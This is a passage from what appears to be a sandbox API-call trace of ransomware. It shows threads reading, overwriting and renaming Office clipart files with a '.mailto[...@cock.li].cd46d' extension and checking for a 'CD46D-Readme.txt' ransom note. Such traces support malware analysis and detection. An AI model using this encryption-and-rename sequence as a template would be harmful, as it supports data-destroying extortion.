Flags=0x0, BaseAddress=0x5ec8eb8) returned 1 [0061.489] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00130 [0061.489] wcscpy (in: _Dest=0x5e00130, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" [0061.489] wcscat (in: _Dest=0x5e00130, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.489] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10a3fca0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.489] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x424230 [0061.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e22600) returned 1 [0061.593] NtQueryInformationFile (in: FileHandle=0xb8c, IoStatusBlock=0x10a3fcac, FileInformation=0x10a3fc84, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10a3fcac, FileInformation=0x10a3fc84) returned 0x0 [0061.593] NtSetInformationFile (FileHandle=0xb8c, IoStatusBlock=0x10a3fcac, FileInformation=0x10a3fc84, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00130) returned 1 [0061.594] FlushFileBuffers (hFile=0xb8c) returned 1 [0062.199] CloseHandle (hObject=0xb8c) returned 1 [0062.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x12d97398 [0062.673] wcscpy (in: _Dest=0x12d97398, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.673] wcscat (in: _Dest=0x12d97398, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97398) returned 1 [0063.076] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8f70) returned 1 Thread: id = 1052 os_tid = 0x310 [0056.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 0x20 [0061.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF", dwFileAttributes=0x20) returned 1 [0061.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xafc [0061.037] GetFileSizeEx (in: hFile=0xafc, lpFileSize=0xd61fd48 | out: lpFileSize=0xd61fd48*=3140) returned 1 [0061.037] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0xc40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.037] ReadFile (in: hFile=0xafc, lpBuffer=0xd61fccc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xd61fcc8, lpOverlapped=0x0 | out: lpBuffer=0xd61fccc*, lpNumberOfBytesRead=0xd61fcc8*=0x4, lpOverlapped=0x0) returned 1 [0061.038] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e68 [0061.038] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8ee0 [0061.038] NtQuerySystemTime (in: CurrentTime=0xd61fca8 | out: CurrentTime=0xd61fca8*=132174898250196000) returned 0x0 [0061.038] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x477bb74f [0061.038] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x21d7383c [0061.038] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x597ab9b [0061.038] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x14d3ffad [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x67dd6c79 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x7c41e751 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x15490cac [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x789404ac [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x6b0c5f19 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x54b76574 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x19866f2 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x397d8461 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x388bab7f [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x3c08280a [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x2958aed1 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x147e4e2d [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x76e3b32c [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x147fb93d [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x7821ce30 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x21e58b0d [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x668400c5 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x1529b12d [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x4ab7f1db [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x1221be17 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0xd9f8053 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0xb442e9b [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x10ce1de5 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x2ec89232 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x405752be [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x49139830 [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x7a52b13b [0061.039] RtlRandomEx (in: Seed=0xd61fcb4 | out: Seed=0xd61fcb4) returned 0x45d7aff6 [0061.052] ReadFile (in: hFile=0xafc, lpBuffer=0x19b55218, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0xd61fca4, lpOverlapped=0x0 | out: lpBuffer=0x19b55218*, lpNumberOfBytesRead=0xd61fca4*=0xc44, lpOverlapped=0x0) returned 1 [0061.052] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.052] WriteFile (in: hFile=0xafc, lpBuffer=0x19b61a20*, nNumberOfBytesToWrite=0xc44, lpNumberOfBytesWritten=0xd61fca0, lpOverlapped=0x0 | out: lpBuffer=0x19b61a20*, lpNumberOfBytesWritten=0xd61fca0*=0xc44, lpOverlapped=0x0) returned 1 [0061.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d972c0 [0061.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d972e8 [0061.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d972e8) returned 1 [0061.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b61a20) returned 1 [0061.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b55218) returned 1 [0061.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a498) returned 1 [0061.404] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402720) returned 1 [0061.404] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0450 [0061.404] SetFilePointerEx (in: hFile=0xafc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.404] WriteFile (in: hFile=0xafc, lpBuffer=0x12d7d9d0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xd61fd08, lpOverlapped=0x0 | out: lpBuffer=0x12d7d9d0*, lpNumberOfBytesWritten=0xd61fd08*=0x109, lpOverlapped=0x0) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d9d0) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0480) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d972e8) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0450) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d972c0) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e68) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f08) returned 1 [0061.491] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f30) returned 1 [0061.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00d60 [0061.491] wcscpy (in: _Dest=0x5e00d60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" [0061.491] wcscat (in: _Dest=0x5e00d60, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.491] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd61fcc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x424230 [0061.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.598] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.598] NtQueryInformationFile (in: FileHandle=0xafc, IoStatusBlock=0xd61fccc, FileInformation=0xd61fca4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd61fccc, FileInformation=0xd61fca4) returned 0x0 [0061.599] NtSetInformationFile (FileHandle=0xafc, IoStatusBlock=0xd61fccc, FileInformation=0xd61fca4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00d60) returned 1 [0061.599] FlushFileBuffers (hFile=0xafc) returned 1 [0062.200] CloseHandle (hObject=0xafc) returned 1 [0062.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x12d974c8 [0062.700] wcscpy (in: _Dest=0x12d974c8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.700] wcscat (in: _Dest=0x12d974c8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d974c8) returned 1 [0063.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8ff8) returned 1 Thread: id = 1053 os_tid = 0xb98 [0056.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0061.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF", dwFileAttributes=0x20) returned 1 [0061.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x758 [0061.053] GetFileSizeEx (in: hFile=0x758, lpFileSize=0xe9cf9d4 | out: lpFileSize=0xe9cf9d4*=12482) returned 1 [0061.053] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x30be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.054] ReadFile (in: hFile=0x758, lpBuffer=0xe9cf958, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe9cf954, lpOverlapped=0x0 | out: lpBuffer=0xe9cf958*, lpNumberOfBytesRead=0xe9cf954*=0x4, lpOverlapped=0x0) returned 1 [0061.055] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8ee0 [0061.055] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f58 [0061.055] NtQuerySystemTime (in: CurrentTime=0xe9cf934 | out: CurrentTime=0xe9cf934*=132174898250352000) returned 0x0 [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x3534b8dc [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x6f2dbef9 [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x18627788 [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x6258481 [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x635367be [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x72b49945 [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x36bd2ca8 [0061.055] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x476d2f07 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x1b36368c [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0xd44e219 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x5c04909a [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x476c8926 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x662f898c [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x39a0a223 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x24bbebe [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x2a020f15 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x425d6c40 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x435dbc00 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x596dfbf3 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0xcb5e083 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x7e3d05a3 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x556e633a [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x7a5e5b0d [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x74345481 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0xeeec340 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x304d7af6 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x1ede0b87 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x3664f23 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x76252eb9 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x17d705e2 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x5dbbf7b9 [0061.056] RtlRandomEx (in: Seed=0xe9cf940 | out: Seed=0xe9cf940) returned 0x18c1ebc0 [0061.070] ReadFile (in: hFile=0x758, lpBuffer=0x19b6e228, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0xe9cf930, lpOverlapped=0x0 | out: lpBuffer=0x19b6e228*, lpNumberOfBytesRead=0xe9cf930*=0x30c2, lpOverlapped=0x0) returned 1 [0061.071] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.071] WriteFile (in: hFile=0x758, lpBuffer=0x19b7aa30*, nNumberOfBytesToWrite=0x30c2, lpNumberOfBytesWritten=0xe9cf92c, lpOverlapped=0x0 | out: lpBuffer=0x19b7aa30*, lpNumberOfBytesWritten=0xe9cf92c*=0x30c2, lpOverlapped=0x0) returned 1 [0062.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e90 [0062.378] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8df0 [0062.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8df0) returned 1 [0062.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b7aa30) returned 1 [0062.378] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b6e228) returned 1 [0062.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a420) returned 1 [0062.386] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402888) returned 1 [0062.386] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ce8d0 [0062.386] SetFilePointerEx (in: hFile=0x758, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.386] WriteFile (in: hFile=0x758, lpBuffer=0x12d7c738*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xe9cf994, lpOverlapped=0x0 | out: lpBuffer=0x12d7c738*, lpNumberOfBytesWritten=0xe9cf994*=0x109, lpOverlapped=0x0) returned 1 [0062.742] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c738) returned 1 [0062.742] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce900) returned 1 [0062.742] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8df0) returned 1 [0062.742] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8d0) returned 1 [0062.743] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e90) returned 1 [0062.743] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ee0) returned 1 [0062.743] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8f80) returned 1 [0062.743] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8fa8) returned 1 [0062.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00c90 [0062.743] wcscpy (in: _Dest=0x5e00c90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" [0062.743] wcscat (in: _Dest=0x5e00c90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0062.743] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe9cf94c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x97ad090 [0063.372] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ad090) returned 1 [0063.373] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48dfe0) returned 1 [0063.373] NtQueryInformationFile (in: FileHandle=0x758, IoStatusBlock=0xe9cf958, FileInformation=0xe9cf930, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe9cf958, FileInformation=0xe9cf930) returned 0x0 [0063.373] NtSetInformationFile (FileHandle=0x758, IoStatusBlock=0xe9cf958, FileInformation=0xe9cf930, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.374] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00c90) returned 1 [0063.374] FlushFileBuffers (hFile=0x758) returned 1 [0066.221] CloseHandle (hObject=0x758) Thread: id = 1054 os_tid = 0xbd4 [0056.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0061.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF", dwFileAttributes=0x20) returned 1 [0061.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1228 [0061.072] GetFileSizeEx (in: hFile=0x1228, lpFileSize=0x10c7f8a0 | out: lpFileSize=0x10c7f8a0*=5253) returned 1 [0061.072] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x1481, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.072] ReadFile (in: hFile=0x1228, lpBuffer=0x10c7f824, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10c7f820, lpOverlapped=0x0 | out: lpBuffer=0x10c7f824*, lpNumberOfBytesRead=0x10c7f820*=0x4, lpOverlapped=0x0) returned 1 [0061.073] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.073] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8f58 [0061.074] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8fd0 [0061.074] NtQuerySystemTime (in: CurrentTime=0x10c7f800 | out: CurrentTime=0x10c7f800*=132174898250508000) returned 0x0 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x63c37322 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x104f8af3 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x1114acd0 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x54520ea1 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x14f50dd4 [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x268e6a6d [0061.074] RtlRandomEx (in: Seed=0x10c7f80c | out: Seed=0x10c7f80c) returned 0x53910f3f [0061.074] 